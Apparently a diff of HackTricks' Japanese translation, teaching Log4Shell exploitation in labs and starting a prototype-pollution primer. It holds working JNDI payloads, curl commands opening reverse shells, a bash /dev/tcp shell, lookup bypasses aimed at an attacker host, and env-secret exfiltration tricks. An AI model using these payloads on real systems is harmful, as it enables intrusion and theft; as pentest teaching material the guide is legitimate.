この例では、ポート8080でこの**log4shellに脆弱なウェブサーバー**を実行するだけです:[https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_READMEに実行方法が記載されています_)。この脆弱なアプリは、HTTPリクエストヘッダー _X-Api-Version_ の内容を脆弱なバージョンのlog4shellでログ記録しています。
|
||||
この例では、**脆弱なwebサーバーをlog4shellにログ出力する**ために、ポート8080で実行できます: [https://github.com/christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) (_READMEに実行方法が記載されています_). この脆弱なアプリは、HTTPリクエストヘッダーの _X-Api-Version_ の内容を脆弱なlog4shellのバージョンでログ出力しています。
|
||||
|
||||
次に、**JNDIExploit** jarファイルをダウンロードして、以下のコマンドで実行できます:
|
||||
その後、**JNDIExploit**のjarファイルをダウンロードして、次のように実行します:
|
||||
```bash
|
||||
wget https://web.archive.org/web/20211210224333/https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
|
||||
unzip JNDIExploit.v1.2.zip
|
||||
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888 # Use your private IP address and a port where the victim will be able to access
|
||||
```
|
||||
コードを数分間読んだ後、_com.feihong.ldap.LdapServer_ と _com.feihong.ldap.HTTPServer_ で、**LDAP と HTTP サーバーがどのように作成されるか**がわかります。LDAP サーバーは提供する必要があるペイロードを理解し、被害者を HTTP サーバーにリダイレクトします。HTTP サーバーはエクスプロイトを提供します。
|
||||
_com.feihong.ldap.gadgets_ では、望ましいアクションを実行するために使用できる**いくつかの特定のガジェット**を見つけることができます(潜在的に任意のコードを実行します)。そして、_com.feihong.ldap.template_ では、**エクスプロイトを生成する**さまざまなテンプレートクラスを見ることができます。
|
||||
After reading the code just a couple of minutes, in _com.feihong.ldap.LdapServer_ and _com.feihong.ldap.HTTPServer_ you can see how the **LDAP and HTTP servers are created**. The LDAP server will understand what payload need to be served and will redirect the victim to the HTTP server, which will serve the exploit.\
|
||||
In _com.feihong.ldap.gadgets_ you can find **some specific gadgets** that can be used to excute the desired action (potentially execute arbitrary code). And in _com.feihong.ldap.template_ you can see the different template classes that will **generate the exploits**.
|
||||
|
||||
利用可能なエクスプロイトは **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`** で確認できます。いくつかの便利なものは次のとおりです:
|
||||
You can see all the available exploits with **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Some useful ones are:
|
||||
```bash
|
||||
ldap://null:1389/Basic/Dnslog/[domain]
|
||||
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]
|
||||
ldap://null:1389/Basic/ReverseShell/[ip]/[port]
|
||||
# But there are a lot more
|
||||
```
|
||||
したがって、例では、すでにそのdocker脆弱性アプリが実行されています。攻撃するには:
|
||||
したがって、この例では、すでに脆弱性のあるDockerアプリケーションが実行されています。攻撃するには:
|
||||
```bash
|
||||
# Create a file inside of th vulnerable host:
|
||||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
|
||||
|
@ -276,14 +255,14 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma
|
|||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
|
||||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
|
||||
```
|
||||
攻撃を送信すると、**JNDIExploit-1.2-SNAPSHOT.jar** を実行したターミナルに出力が表示されます。
|
||||
攻撃を送信すると、実行したターミナルにいくつかの出力が表示されます**JNDIExploit-1.2-SNAPSHOT.jar**。
|
||||
|
||||
**他のエクスプロイトオプションについては、`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` を確認してください。さらに、必要に応じて、LDAPおよびHTTPサーバーのポートを変更することができます。**
|
||||
**他の攻撃オプションを確認するには`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`をチェックしてください。さらに、必要な場合はLDAPおよびHTTPサーバーのポートを変更できます。**
|
||||
|
||||
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
|
||||
|
||||
前のエクスプロイトと同様に、[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) を使用してこの脆弱性を悪用することができます。\
|
||||
被害者に送信するURLを生成するには、次のコマンドを実行します:
|
||||
前の攻撃と同様に、この脆弱性を悪用するために[JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit)を使用できます。\
|
||||
被害者に送信するためのURLを生成することができます:
|
||||
```bash
|
||||
# Get reverse shell in port 4444 (only unix)
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444
|
||||
|
@ -291,24 +270,24 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
|
|||
# Execute command
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
|
||||
```
|
||||
_この攻撃はカスタム生成されたJavaオブジェクトを使用して、**THM solar room**のようなラボで機能します。しかし、通常は機能しません(デフォルトではJavaはLDAPを使用してリモートコードベースをロードするように設定されていないためです)。信頼されたクラスを悪用して任意のコードを実行するわけではないからだと思います。_
|
||||
_この攻撃は、**THMソーラールーム**のような研究室でカスタム生成されたJavaオブジェクトを使用して機能します。ただし、これは一般的には機能しません(デフォルトではJavaはLDAPを使用してリモートコードベースをロードするように構成されていないため)私は、これが信頼されたクラスを悪用して任意のコードを実行するために機能していないと考えています。_
|
||||
|
||||
### RCE - ysoserial & JNDI-Exploit-Kit
|
||||
|
||||
このオプションは、**特定のクラスのみを信頼し、すべてのクラスを信頼しないように設定されたJavaバージョン**を攻撃するのに非常に有用です。したがって、**ysoserial**を使用して、**任意のコードを実行するために使用できる信頼されたクラスのシリアライゼーション**を生成します(_攻撃が機能するためには、被害者のJavaプログラムがysoserialによって悪用される信頼されたクラスを使用している必要があります_)。
|
||||
このオプションは、**特定のクラスのみを信頼し、誰にでも信頼しないように構成されたJavaバージョン**を攻撃するのに非常に役立ちます。したがって、**ysoserial**は、**信頼されたクラスのシリアル化**を生成するために使用され、これらは**任意のコードを実行するためのガジェットとして使用できます**(_ysoserialによって悪用される信頼されたクラスは、攻撃対象のJavaプログラムによって使用される必要があります_)。
|
||||
|
||||
**ysoserial**または[**ysoserial-modified**](https://github.com/pimps/ysoserial-modified)を使用して、JNDIによってダウンロードされるデシリアライゼーションのエクスプロイトを作成できます:
|
||||
**ysoserial**または[**ysoserial-modified**](https://github.com/pimps/ysoserial-modified)を使用して、JNDIによってダウンロードされる逆シリアル化攻撃を作成できます:
|
||||
```bash
|
||||
# Rev shell via CommonsCollections5
|
||||
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
|
||||
```
|
||||
[**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) を使用して、脆弱なマシンからの接続を待つ **JNDIリンク** を生成します。JNDI-Exploit-Kitによって**自動的に生成される異なるエクスプロイト**や、あなた自身の**デシリアライゼーションペイロード**(あなたが生成するか、ysoserialによって生成される)をサーバーに提供できます。
|
||||
使用[JNDI-Exploit-Kit](https://github.com/pimps/JNDI-Exploit-Kit)生成**JNDIリンク**を、脆弱なマシンからの接続を待つエクスプロイトが含まれるようにします。JNDI-Exploit-Kitによって自動生成される**異なるエクスプロイト**またはあなた自身またはysoserialによって生成された**独自の逆シリアル化ペイロード**を提供することもできます。
|
||||
```bash
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
|
||||
```
|
||||
![](<../../.gitbook/assets/image (642) (1) (1).png>)
|
||||
|
||||
生成されたJNDIリンクを使用して、脆弱なバージョンのlog4jに対して**`${ldap://10.10.14.10:1389/generated}`** を送信するだけで、簡単に脆弱性を悪用し、**リバースシェル**を取得できます。
|
||||
今後、脆弱性を悪用し、**リバースシェル**を取得するために生成されたJNDIリンクを簡単に使用できます。脆弱なlog4jバージョンに送信するだけです: **`${ldap://10.10.14.10:1389/generated}`**
|
||||
|
||||
### バイパス
|
||||
```java
|
||||
|
@ -322,7 +301,7 @@ ${${::-j}ndi:rmi://attackerendpoint.com/} //Notice the use of rmi
|
|||
${${::-j}ndi:dns://attackerendpoint.com/} //Notice the use of dns
|
||||
${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
||||
```
|
||||
### 自動スキャナー
|
||||
## 自動スキャナー
|
||||
|
||||
* [https://github.com/fullhunt/log4j-scan](https://github.com/fullhunt/log4j-scan)
|
||||
* [https://github.com/adilsoybali/Log4j-RCE-Scanner](https://github.com/adilsoybali/Log4j-RCE-Scanner)
|
||||
|
@ -335,24 +314,24 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
|||
|
||||
### テスト用ラボ
|
||||
|
||||
* [**LogForge HTB マシン**](https://app.hackthebox.com/tracks/UHC-track)
|
||||
* [**Try Hack Me Solar ルーム**](https://tryhackme.com/room/solar)
|
||||
* [**LogForge HTB machine**](https://app.hackthebox.com/tracks/UHC-track)
|
||||
* [**Try Hack Me Solar room**](https://tryhackme.com/room/solar)
|
||||
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
|
||||
* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
|
||||
|
||||
## Post-Log4Shell 悪用
|
||||
## Log4Shell攻撃後の利用
|
||||
|
||||
この [**CTF レポート**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) では、**Log4J** のいくつかの機能を**悪用**する可能性が非常によく説明されています。
|
||||
この[**CTF解説**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)では、**Log4J**の一部の機能を**悪用**することが**可能**であることがよく説明されています。
|
||||
|
||||
Log4j の [**セキュリティページ**](https://logging.apache.org/log4j/2.x/security.html) には興味深い文章があります:
|
||||
Log4jの[**セキュリティページ**](https://logging.apache.org/log4j/2.x/security.html)には興味深い文がいくつかあります:
|
||||
|
||||
> バージョン 2.16.0(Java 8用)から、**メッセージルックアップ機能は完全に削除されました**。**設定内のルックアップは引き続き機能します**。さらに、Log4j はデフォルトで JNDI へのアクセスを無効にします。設定内の JNDI ルックアップは、明示的に有効にする必要があります。
|
||||
> バージョン2.16.0(Java 8向け)から、**メッセージルックアップ機能が完全に削除**されました。構成内のルックアップは引き続き機能します。さらに、Log4jは今後、デフォルトでJNDIへのアクセスを無効にします。構成内のJNDIルックアップを明示的に有効にする必要があります。
|
||||
|
||||
> バージョン 2.17.0 から(および Java 7 と Java 6 用の 2.12.3 と 2.3.1)、**設定内のルックアップ文字列のみが再帰的に展開されます**。他の使用法では、トップレベルのルックアップのみが解決され、ネストされたルックアップは解決されません。
|
||||
> バージョン2.17.0(およびJava 7およびJava 6向けの2.12.3および2.3.1)から、**構成内のルックアップ文字列のみが再帰的に展開**されます。他の使用法では、トップレベルのルックアップのみが解決され、ネストされたルックアップは解決されません。
|
||||
|
||||
これは、デフォルトでは任意の `jndi` エクスプロイトを**使用することを忘れる**ことを意味します。さらに、**再帰的なルックアップ**を実行するには、それらを設定する必要があります。
|
||||
これは、デフォルトでは**`jndi`の悪用**はできないことを意味します。さらに、**再帰的なルックアップ**を行うには、それらを構成する必要があります。
|
||||
|
||||
例えば、その CTF では log4j2.xml ファイルに次のように設定されていました:
|
||||
たとえば、このCTFでは、次のようにファイルlog4j2.xmlで構成されていました:
|
||||
```xml
|
||||
<Console name="Console" target="SYSTEM_ERR">
|
||||
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
|
||||
|
@ -361,42 +340,42 @@ Log4j の [**セキュリティページ**](https://logging.apache.org/log4j/2.x
|
|||
```
|
||||
### Env Lookups
|
||||
|
||||
このCTFでは攻撃者は`${sys:cmd}`の値を制御し、環境変数からフラグを抜き出す必要がありました。\
|
||||
[**以前のペイロード**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification)のページで見たように、環境変数にアクセスする方法にはいくつかあります。例えば:**`${env:FLAG}`**。このCTFではこれは役に立ちませんでしたが、他の実際のシナリオでは役立つかもしれません。
|
||||
[このCTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)では、攻撃者は`${sys:cmd}`の値を制御し、環境変数からフラグを外部に送出する必要がありました。\
|
||||
このページで[**前回のペイロード**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification)で見られるように、**`${env:FLAG}`**などの異なる方法で環境変数にアクセスする方法があります。このCTFではこれは役に立ちませんでしたが、他の実際のシナリオでは役立つかもしれません。
|
||||
|
||||
### 例外によるデータ抜き出し
|
||||
### Exfiltration in Exceptions
|
||||
|
||||
CTFでは、log4Jを使用するJavaアプリケーションのstderrにアクセスすることは**できませんでした**が、Log4Jの**例外はstdoutに送られ**、Pythonアプリで表示されました。これは、例外をトリガーすることで内容にアクセスできることを意味していました。フラグを抜き出すための例外は次のようになります:**`${java:${env:FLAG}}`.** これは**`${java:CTF{blahblah}}`**が存在しないため、フラグの値を含む例外が表示されるためです:
|
||||
CTFでは、log4Jを使用してJavaアプリケーションのstderrにアクセスできませんでしたが、Log4Jの例外はstdoutに送信され、これはPythonアプリケーションで出力されました。これは、例外をトリガーすることでコンテンツにアクセスできることを意味します。フラグを外部に送出するための例外は次のとおりです: **`${java:${env:FLAG}}`.** これは、**`${java:CTF{blahblah}}`**が存在せず、フラグの値が表示される例外が発生するため機能します:
|
||||
|
||||
![](<../../.gitbook/assets/image (157).png>)
|
||||
|
||||
### 変換パターン例外
|
||||
### Conversion Patterns Exceptions
|
||||
|
||||
言及するだけですが、新しい[**変換パターン**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout)を注入し、`stdout`にログされる例外をトリガーすることもできます。例えば:
|
||||
補足として、新しい[**変換パターン**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout)をインジェクトし、`stdout`に記録される例外をトリガーすることもできます。例えば:
|
||||
|
||||
![](<../../.gitbook/assets/image (3) (2) (1) (1).png>)
|
||||
|
||||
この方法は、ルックアップが変換パターンの前に解決されなかったため、エラーメッセージ内のデータを抜き出すのには役立ちませんでしたが、検出など他のことには役立つかもしれません。
|
||||
これは、エラーメッセージ内のデータを外部に送出するのには役立ちませんでしたが、変換パターンの前にルックアップが解決されなかったため、検出など他の用途には役立つかもしれません。
|
||||
|
||||
### 変換パターン正規表現
|
||||
### Conversion Patterns Regexes
|
||||
|
||||
しかし、正規表現をサポートするいくつかの**変換パターン**を使用して、正規表現を使用し、**バイナリサーチ**または**時間ベース**の動作を悪用することで、ルックアップから情報を抜き出すことが可能です。
|
||||
ただし、**正規表現をサポートする変換パターン**を使用して、**バイナリサーチ**や**時間ベース**の動作を悪用して、ルックアップから情報を外部に送出することが可能です。
|
||||
|
||||
* **例外メッセージを通じたバイナリサーチ**
|
||||
* **例外メッセージを介したバイナリサーチ**
|
||||
|
||||
変換パターンの**`%replace`**は、**文字列**から**内容**を**置換**するために、**正規表現**を使用して**置換**することができます。次のように機能します:`replace{pattern}{regex}{substitution}`\
|
||||
この振る舞いを悪用して、文字列内の何かに正規表現が**マッチした場合に例外をトリガー**し、見つからなかった場合には例外が発生しないようにすることができます:
|
||||
変換パターン**`%replace`**は、**文字列**から**コンテンツ**を**置換**するために**正規表現**を使用できます。これは次のように機能します: `replace{pattern}{regex}{substitution}`\
|
||||
この動作を悪用すると、**文字列内で正規表現が一致した場合に例外をトリガー**させることができます(一致しない場合は例外が発生しません)次のように:
|
||||
```bash
|
||||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||||
## and ONLY if it's found ${error} will be resolved with will trigger an exception
|
||||
```
|
||||
* **時間ベース**
|
||||
* **Time based**
|
||||
|
||||
前のセクションで述べたように、**`%replace`** は **正規表現**をサポートしています。したがって、フラグが見つかった場合に **タイムアウト** を引き起こすために、[**ReDoSページ**](../regular-expression-denial-of-service-redos.md)からのペイロードを使用することが可能です。\
|
||||
例えば、`%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` のようなペイロードは、そのCTFで **タイムアウト** を引き起こします。
|
||||
前のセクションで言及されたように、**`%replace`** は **regexes** をサポートしています。そのため、[**ReDoS ページ**](../regular-expression-denial-of-service-redos.md) からのペイロードを使用して、フラグが見つかった場合に **タイムアウト** を引き起こすことが可能です。\
|
||||
例えば、`%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` のようなペイロードは、その CTF で **タイムアウト** を引き起こします。
|
||||
|
||||
この [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) では、ReDoS攻撃の代わりに **増幅攻撃** を使用して応答に時間差を生じさせました:
|
||||
この[**解説記事**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)では、ReDoS 攻撃の代わりに **増幅攻撃** を使用して、応答の時間差を引き起こしました:
|
||||
|
||||
> ```
|
||||
> /%replace{
|
||||
|
@ -415,9 +394,9 @@ CTFでは、log4Jを使用するJavaアプリケーションのstderrにアク
|
|||
> }{#}{######################################################}
|
||||
> ```
|
||||
>
|
||||
> もしフラグが `flagGuess` で始まる場合、フラグ全体が29個の `#` に置き換えられます(フラグの一部ではないであろうこの文字を使用しました)。**結果として得られる29個の `#` はそれぞれ54個の `#` に置き換えられます**。このプロセスは **6回繰り返され**、合計で `29*54*54^6* =`` `` `**`96816014208` `#` です!**
|
||||
> もしフラグが `flagGuess` で始まる場合、フラグ全体が 29 個の `#` で置き換えられます(この文字を使用したのは、おそらくフラグの一部ではないためです)。**その結果の 29 個の `#` それぞれが 54 個の `#` で置き換えられます**。このプロセスは **6 回繰り返され**、合計で ` 29*54*54^6* =`` `` `**`96816014208` `#`** になります!**
|
||||
>
|
||||
> これだけ多くの `#` を置き換えると、Flaskアプリケーションの10秒のタイムアウトが引き起こされ、結果としてHTTPステータスコード500がユーザーに送信されます。(もしフラグが `flagGuess` で始まらない場合、500以外のステータスコードを受け取ります)
|
||||
> これだけの数の `#` を置き換えると、Flask アプリケーションの 10 秒のタイムアウトが発生し、ユーザーに HTTP ステータスコード 500 が送信されます。(フラグが `flagGuess` で始まらない場合、500 以外のステータスコードが返されます)
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -432,21 +411,21 @@ CTFでは、log4Jを使用するJavaアプリケーションのstderrにアク
|
|||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
より重要な脆弱性を素早く見つけて修正する。Intruderは攻撃面を追跡し、積極的な脅威スキャンを実行し、APIからウェブアプリ、クラウドシステムまでの技術スタック全体で問題を見つけ出します。今日[**無料で試す**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
脆弱性を見つけて修正を迅速に行うために重要なものを見つけます。Intruder は攻撃対象を追跡し、積極的な脅威スキャンを実行し、API から Web アプリケーション、クラウドシステムまで、全体のテックスタックで問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック!</strong></summary>
|
||||
<summary><strong>**htARTE (HackTricks AWS Red Team Expert)** で AWS ハッキングをゼロからヒーローまで学びましょう</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksに広告を掲載したい**、または **HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や [**telegramグループ**](https://t.me/peass)に**参加する**、または **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
|
||||
* **HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)や[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングトリックを共有する。
|
||||
* **HackTricks が広告されたり、HackTricks を PDF でダウンロードしたり** したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れる
|
||||
* 独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションである [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見
|
||||
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする
|
||||
* 自分のハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,144 +2,126 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)。
|
||||
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。
|
||||
- **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
||||
## JavaScriptのオブジェクト <a href="#053a" id="053a"></a>
|
||||
|
||||
まず最初に、JavaScriptにおける`Object`を理解する必要があります。オブジェクトは単純に、そのオブジェクトのプロパティと呼ばれるキーと値のペアのコレクションです。例えば:
|
||||
|
||||
![](<../../../.gitbook/assets/image (389) (1).png>)
|
||||
|
||||
JavaScriptでは、`Object`は基本オブジェクトであり、新しく作成されたすべてのオブジェクトのテンプレートです。`Object.create`に`null`を渡すことで空のオブジェクトを作成することが可能です。ただし、新しく作成されたオブジェクトは、渡されたパラメータに対応するタイプを持ち、すべての基本プロパティを継承します。
|
||||
JavaScriptのオブジェクトは、本質的にプロパティとして知られるキーと値のペアのコレクションです。オブジェクトは、`null`を引数として使用して`Object.create`を使用して作成でき、継承されたプロパティがない空のオブジェクトを生成します。
|
||||
```javascript
|
||||
console.log(Object.create(null)); // prints an empty object
|
||||
// Run this in the developers tools console
|
||||
console.log(Object.create(null)); // This will output an empty object.
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (360).png>)
|
||||
空のオブジェクトは、`{}`として表される空の辞書に似ています。
|
||||
|
||||
以前に、JavaScriptのオブジェクトはキーと値のコレクションであることを学びました。そのため、`null`オブジェクトは単なる空の辞書`{}`であることは理にかなっています。
|
||||
### JavaScriptにおける関数とクラス
|
||||
|
||||
## JavaScriptにおける関数/クラス <a href="#55dd" id="55dd"></a>
|
||||
|
||||
JavaScriptでは、クラスと関数の概念は非常に関連しています(関数自体がクラスのコンストラクタとして機能し、実際の性質にはJavaScriptにおける「クラス」という概念はありません)。次の例を見てみましょう:
|
||||
JavaScriptでは、関数とクラスは密接に関連しており、関数はしばしばクラスのコンストラクタとして機能します。JavaScriptにはネイティブなクラスサポートがないにもかかわらず、コンストラクタはクラスの振る舞いをエミュレートすることができます。
|
||||
```javascript
|
||||
function person(fullName, age) {
|
||||
this.age = age;
|
||||
this.fullName = fullName;
|
||||
this.details = function() {
|
||||
return this.fullName + " has age: " + this.age;
|
||||
// Run this in the developers tools console
|
||||
|
||||
function Employee(name, position) {
|
||||
this.name = name;
|
||||
this.position = position;
|
||||
this.introduce = function() {
|
||||
return "My name is " + this.name + " and I work as a " + this.position + ".";
|
||||
}
|
||||
}
|
||||
|
||||
Employee.prototype
|
||||
|
||||
var employee1 = new Employee("Generic Employee", "Developer");
|
||||
|
||||
employee1.__proto__
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (361).png>)
|
||||
```javascript
|
||||
var person1 = new person("Satoshi", 70);
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (362).png>)
|
||||
### JavaScriptにおけるプロトタイプ
|
||||
|
||||
## JavaScriptにおけるプロトタイプ <a href="#3843" id="3843"></a>
|
||||
JavaScriptでは、実行時にプロトタイプ属性の変更、追加、または削除が可能です。この柔軟性により、クラスの機能を動的に拡張することができます。
|
||||
|
||||
重要な点の1つは、コードを実行する際にプロトタイプ属性を変更/修正/削除できることです。たとえば、クラスに関数を動的に追加できます:
|
||||
|
||||
![](<../../../.gitbook/assets/image (363).png>)
|
||||
|
||||
クラスの関数は変更されることもあります(`toString`や`valueOf`などの場合):
|
||||
|
||||
![](<../../../.gitbook/assets/image (364).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (365).png>)
|
||||
`toString`や`valueOf`などの関数は、その振る舞いを変更するために変更することができ、JavaScriptのプロトタイプシステムの適応性を示すことができます。
|
||||
|
||||
## 継承
|
||||
|
||||
プロトタイプベースのプログラムでは、オブジェクトはクラスからプロパティ/メソッドを継承します。クラスは、他のクラスのインスタンスにプロパティ/メソッドを追加することによって派生されるか、空のオブジェクトに追加することによって派生されます。
|
||||
プロトタイプベースのプログラミングでは、プロパティ/メソッドはクラスからオブジェクトに継承されます。これらのクラスは、他のクラスのインスタンスにプロパティ/メソッドを追加するか、空のオブジェクトにプロパティ/メソッドを追加することで作成されます。
|
||||
|
||||
注意すべきは、オブジェクトにプロパティを追加すると(myPersonObjのようにオブジェクトが一連のオブジェクトのプロトタイプとして使用される場合)、そのプロトタイプとして使用されるオブジェクトも新しいプロパティを取得しますが、そのプロパティは明示的に呼び出されない限り表示されません。
|
||||
|
||||
![](<../../../.gitbook/assets/image (366).png>)
|
||||
他のオブジェクト(たとえば`myPersonObj`など)のプロトタイプとして機能するオブジェクトにプロパティが追加されると、継承するオブジェクトはこの新しいプロパティにアクセスできます。ただし、このプロパティは明示的に呼び出されない限り、自動的に表示されません。
|
||||
|
||||
## \_\_proto\_\_の汚染 <a href="#0d0a" id="0d0a"></a>
|
||||
|
||||
すでに学んでいるはずですが、**JavaScriptのすべてのオブジェクトは単にキーと値のコレクション**であり、**JavaScriptのすべてのオブジェクトはObject型から継承**していることです。これは、Object型を汚染できれば、**環境内のすべてのJavaScriptオブジェクトが汚染される**ということを意味します!
|
||||
## JavaScriptにおけるプロトタイプ汚染の探索
|
||||
|
||||
これは非常に簡単で、任意のJavaScriptオブジェクトのいくつかのプロパティ(キーと値のペア)を変更できればよいだけです。なぜなら、各オブジェクトがObjectを継承しているため、各オブジェクトがObjectスキームにアクセスできるからです。
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
}
|
||||
var person1 = new person("Satoshi");
|
||||
```
|
||||
前の例から、次の方法を使用してObjectの構造にアクセスすることが可能です:
|
||||
```javascript
|
||||
person1.__proto__.__proto__
|
||||
person.__proto__.__proto__
|
||||
```
|
||||
したがって、もし今プロパティがObjectスキームに追加された場合、すべてのJavaScriptオブジェクトが新しいプロパティにアクセスできるようになります:
|
||||
```javascript
|
||||
